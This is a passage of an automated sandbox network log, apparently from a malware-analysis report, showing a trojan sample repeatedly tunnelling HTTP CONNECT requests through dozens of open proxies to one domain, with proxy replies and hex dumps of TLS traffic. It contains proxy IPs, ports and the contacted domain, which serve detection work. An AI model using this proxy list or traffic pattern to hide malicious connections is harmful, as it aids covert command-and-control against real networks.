Feb 23, 2024 14:28:28.043009996 CET	470	IN	Data Raw: 3e 3c 2f 73 65 6c 65 63 74 3e 0a 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 73 75 62 6d 69 74 22 3e 0a 09 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 73 65 6e 64 22 20 76 Data Ascii: ></select></p><p class="submit"><input type="hidden" name="send" value="send" /><input type="submit" value="Login" /></p></fieldset></form><aside><a href="index.php?action=forgotpwd">Forgot y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
796	192.168.2.8	52547	154.208.10.126	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.583125114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.746751070 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.1 Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
797	192.168.2.8	52421	114.132.202.125	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.586584091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.195789099 CET	84	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:29 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
798	192.168.2.8	52530	34.95.243.122	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.597764015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.825442076 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
799	192.168.2.8	52590	13.37.89.201	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.600156069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.763669968 CET	146	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/plain X-Powered-By: PHP/5.4.7 Server: squid/4.10 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
800	192.168.2.8	52469	103.153.154.6	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.600434065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.920289040 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
801	192.168.2.8	51231	200.39.154.1	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.609910965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.649466038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.785799026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.858871937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:51.867201090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:03.866559029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:15.929084063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
802	192.168.2.8	52580	213.16.56.132	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.631787062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
803	192.168.2.8	52480	43.133.80.236	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.637325048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
804	192.168.2.8	51443	212.110.188.213	34411	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.656042099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.694945097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.789117098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
805	192.168.2.8	52061	98.170.57.249	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.656172037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
806	192.168.2.8	52129	201.71.3.58	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.658219099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.694967985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.308350086 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
807	192.168.2.8	52463	221.2.84.42	10800	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.659445047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
808	192.168.2.8	52433	103.182.213.100	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.661906958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
809	192.168.2.8	52610	172.65.165.93	30000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.662637949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
810	192.168.2.8	52601	185.49.31.207	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.664561033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
811	192.168.2.8	52037	189.240.60.171	9090	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.664717913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.891643047 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
812	192.168.2.8	51225	218.57.210.186	9002	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.677731991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.694964886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.049338102 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 13:11:05 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
813	192.168.2.8	52492	102.132.57.90	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.682171106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
814	192.168.2.8	52529	47.56.110.204	8989	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.683372974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.987936974 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Fri, 23 Feb 2024 13:15:04 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
815	192.168.2.8	52603	72.210.252.137	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.694433928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
816	192.168.2.8	52497	125.19.99.90	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.694441080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
817	192.168.2.8	52526	123.126.158.50	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.700162888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.047353983 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx
Feb 23, 2024 14:28:29.075130939 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 d8 9d 7c a4 eb 6d f5 76 d8 7c c8 4c 2c 56 79 ea cd 67 f9 78 99 28 cd b4 f3 7e 2c e4 1d 64 f3 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e\|mv\|L,Vygx(~,d*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#]31VM\11_&nk7%6ydd`8
Feb 23, 2024 14:28:29.719669104 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 d8 9d 7d 8e 99 25 7a e0 00 d0 ec ae 56 7c 13 32 4c fc 54 f8 3f 34 58 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?e}%zV\|2LT?4XDOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Feb 23, 2024 14:28:29.719676971 CET	162	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@v*wTJ;dm55inz74\|"@,+v?iS
Feb 23, 2024 14:28:29.719683886 CET	1286	IN	Data Raw: d2 e7 91 27 74 d7 ee 13 8a 11 b0 a8 a3 e4 d5 3b 48 03 d9 a4 25 cb 08 0c 15 0b f0 5b 9d cd 27 fd a8 ef f9 8b c7 ac dc 0d be eb 0c 72 e2 42 ee 75 2a b8 1b b1 19 71 88 a8 e8 2c 14 2f 09 61 65 b1 cd 59 a5 fa 58 68 9d a3 d1 9c d8 9d c9 08 56 96 9f 42 Data Ascii: 't;H%['rBuq,/aeYXhVBc_[:72cG^x}gv00tP'S"0H0G10UUS1"0 UGoogle Trust Services LLC10UGTS Root R102008
Feb 23, 2024 14:28:30.054160118 CET	670	IN	Data Raw: 2e 67 6f 6f 67 2f 67 73 72 31 2f 67 73 72 31 2e 63 72 6c 30 3b 06 03 55 1d 20 04 34 30 32 30 08 06 06 67 81 0c 01 02 01 30 08 06 06 67 81 0c 01 02 02 30 0d 06 0b 2b 06 01 04 01 d6 79 02 05 03 02 30 0d 06 0b 2b 06 01 04 01 d6 79 02 05 03 03 30 0d Data Ascii: .goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0H4(v1z!R>tA=5\_\|W&o[Fh7okz7%QhIZ#+IjuXHW5ooNi-h+s"7
Feb 23, 2024 14:28:31.432442904 CET	1286	IN	Data Raw: 09 94 ad 5d 76 5d 28 56 d1 1a 66 51 51 07 7b de 3d b0 c8 ef 30 7a 24 2d be b8 b3 86 f6 4b f7 f0 b5 4f ff ce c6 f9 f6 3f 2a 27 08 0f 09 3e 23 5a c7 e3 42 2d 7a 36 e4 3d 98 96 60 39 98 ea d1 db 63 2a eb 78 09 b1 4e 21 b3 8e b7 ce 3e 92 f1 95 5c a4 Data Ascii: ]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\9+S/tgw7-[peZ%wjNuMjfynm"m,P5}pY*j%[ @4 awHI)adcGF9sO+Xe U
Feb 23, 2024 14:28:31.442419052 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 14 e4 42 ce 8c f0 7b 88 dd 97 a4 b1 f6 c8 64 ef 6a 10 77 e8 8f 11 48 d2 3f 6a 6d c8 87 fe 80 7c 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 db 88 c5 7e 48 da d3 c6 51 1e ed f9 60 ab c8 22 cd 87 5c 4d a8 Data Ascii: %! B{djwH?jm\|(~HQ`"\M\:-^u
Feb 23, 2024 14:28:32.099315882 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 1e 00 c0 af f8 b2 29 a1 7b be ac 02 f3 77 2e 43 e9 5d b1 bb c3 35 97 5b ae c8 4c df 23 42 f7 1d dd 6b 0d bd cd fd 41 3f 08 fb 16 8f 11 2b 2b bd 55 7d a9 e3 a8 c4 7d b7 4b 68 39 9b 99 bb ba 08 30 d8 e2 ce e8 87 Data Ascii: ){w.C]5[L#BkA?++U}}Kh90vE4EF`c]G@!`P:iOwL"aVYY9$bP%(pm}=^
Feb 23, 2024 14:28:32.234863997 CET	147	OUT	Data Raw: 17 03 03 00 8e 00 00 00 00 00 00 00 01 85 6e b4 e2 60 df 72 64 4a 4b 98 a3 32 20 2e cd c6 c7 cb 31 87 11 4f 28 00 ca 88 22 a8 d1 53 75 2f 9f ac 1c 5d 21 12 fb 5a a8 de 5d 10 22 ab 18 f1 aa ac b4 a7 40 0e 10 0d 60 71 87 07 8a b3 f0 9c 28 31 e8 16 Data Ascii: n`rdJK2 .1O("Su/]!Z]"@`q(1;[+$wlMw<):?y1uy]j#lo5?dc
Feb 23, 2024 14:28:33.248714924 CET	112	IN	Data Raw: 9b 89 6a ec 6e de e9 a4 16 9e c2 a1 03 b9 3a 93 74 37 16 7d 9c 75 33 f9 78 e6 6a 8e 42 cf f3 87 d5 98 05 97 02 1e fa 5b 71 7d 22 78 cb ee 22 60 16 e1 87 09 e3 1c 48 2b 76 44 8f 3b 08 31 0d a6 95 4b 50 ea 91 2a 87 5c 56 b7 4c 65 24 b5 8d 08 89 b3 Data Ascii: jn:t7}u3xjB[q}"x"`H+vD;1KP\VLe$!5>DCmMz=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
818	192.168.2.8	52652	67.205.162.103	32909	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.706887007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.124484062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.585649967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.272845984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.527604103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.898132086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
819	192.168.2.8	52661	172.67.181.144	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.707825899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.796749115 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
820	192.168.2.8	52137	204.199.129.38	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.722351074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.781316042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.786295891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.499461889 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
821	192.168.2.8	52591	8.213.137.155	8888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.722362041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.014465094 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
822	192.168.2.8	52676	203.32.120.202	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.724260092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
